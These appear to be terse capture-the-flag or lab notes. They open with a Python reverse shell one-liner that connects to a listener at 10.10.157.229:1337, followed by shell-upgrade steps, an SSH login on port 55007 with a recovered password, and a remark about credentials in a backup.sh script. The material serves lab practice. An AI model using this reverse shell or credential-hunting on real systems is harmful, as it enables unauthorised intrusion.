export RHOST="10.10.157.229";export RPORT=1337;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
Get autocomplete
python -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
There is a file that has credentials
It was also possible to view from the browser
TCP/55007 - SSH
Kali
ssh basterd@$VICTIM -p 55007
Pass: superduperp@$$
There is a backup.sh script that is owned by user stoner, which has his credentials.